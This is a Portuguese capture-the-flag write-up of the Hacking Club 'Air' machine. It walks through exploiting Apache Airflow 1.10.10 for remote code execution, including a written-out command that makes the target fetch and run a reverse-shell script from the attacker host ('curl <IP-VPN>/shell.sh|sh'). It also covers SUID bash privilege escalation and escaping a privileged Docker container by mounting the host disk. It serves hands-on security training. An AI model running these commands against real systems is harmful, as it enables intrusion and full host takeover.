Você está na página 1de 11

Write-Up - Air

Write-up air

Sobre Hacking Club


Hacking Club é uma plataforma para aprender cybersecurity, hacking e CTF na
prática. Um recurso incrível se você não sabe por onde começar. Além das
máquinas vulneráveis, você tem acesso a aulas e desafios para praticar suas
habilidades, e acesso a uma comunidade exclusiva para jogar e se desafiar.

A melhor parte do Hacking Club é que ele é muito prático. Se você é novo em
hacking, experimente!

Varredura nmap:
Precisamos saber quais serviços estão sendo executados nos bastidores e quais
portas estão abertas. Então, vamos usar uma ferramenta chamada nmap.

Ports:

Write-Up - Air 1
Porta 22 - SSH

Porta 111 - RPC

Porta 8080 HTTP

Olhando a porta 8080 temos o Apache Airflow.

O Apache Airflow é uma plataforma de gerenciamento de fluxo de trabalho de


código aberto.

Write-Up - Air 2
Indo em Docs > Documentation; eu vejo a versão do Airflow → 1.10.10, logo faço
uma pesquisa no Google em busca de exploit, e de fato, essa versão do Airflow é
vulnerável a Remote Code Execution (RCE).

ExploitDB

Write-Up - Air 3
Esse exploit explora o DAG de exemplo que é vulnerável à injeção de comando
junto com a API REST experimental que é pública por padrão, mesmo se a interface
da web tiver autenticação definida.
Vamos baixar o exploit pra nossa máquina e testar =)

Depois de ter baixado o exploit pra nossa máquina, os próximos passos serão:

Write-Up - Air 4
Criar uma reverse shell e subir o servidor em python para servir nossa payload
( shell.sh )

Ouvinte do netcat para recebermos a conexão

E vamos executar o exploit 😃

Write-Up - Air 5
python exploit.py http://172.31.23.8:8080 "curl <IP-VPN>/shell.sh|sh"

Após executar, nós recebemos a conexão 😃

Shell tty
Atualizando shell simples para TTYs totalmente interativos.

python -c "import pty;pty.spawn('/bin/bash')"

Ctrl+Z

Write-Up - Air 6
stty raw -echo;fg

Enter

export TERM=xterm

Depois de atualizar a shell, eu rodo o seguinte comando para confirmar que


estamos em um container:

cat /etc/hostname

Ao resolver os desafios do CTF, sempre verificamos as permissões suid para


qualquer arquivo ou comando para escalonamento de privilégios. É muito
importante saber o que é SUID , como configurá-lo e como o SUID ajuda no aumento
de privilégios.

find / -perm /4000 2>/dev/null

Temos o binário bash com SUID , e podemos escalar para o usuário root a partir
deste =)
Basta executar o comando abaixo:

Write-Up - Air 7
/bin/bash -p

O parâmetro -p é para executar com as permissões do dono do arquivo, que no


caso é o root =)

Indo em /root temos a nossa primeira flag, e tudo indica que temos que escapar do
container para pegar a flag de root =)

Docker Escape
Como estamos em um container, temos que tentar escapar dele, e para isso usarei
o seguinte site:

Docker Breakout / Privilege Escalation


D-Bus Enumeration & Command Injection Privilege Escalation

https://book.hacktricks.xyz/linux-unix/privilege-escalation/doc
ker-breakout/docker-breakout-privilege-escalation

Escape mounting the disk in the container:

Write-Up - Air 8
Os contêineres docker bem configurados não permitem comandos como fdisk -l .
No entanto, no comando docker configurado incorretamente onde o sinalizador --
privileged é especificado, é possível obter os privilégios para ver a unidade host.

Portanto, para assumirmos o controle da máquina host, é trivial:

Opsss, não conseguimos montar a partição msm sendo root, por quê? Se você
reparar, nós estamos com ID de usuário efetivo = euid e com isso ficamos
limitados a executar certos comandos. Para contornar isso, podemos setar para
somente → UID.
Vamos fazer isso usando python:

python3 -c "import os; os.setuid(0);os.system('/bin/bash')"

Write-Up - Air 9
Agora podemos montar a partição em /mnt:

E voilà! Agora podemos acessar o sistema de arquivos do host porque ele está
montado na /mnt

E podemos pegar a nossa última flag 😀

Write-Up - Air 10
Write-Up - Air 11

Você também pode gostar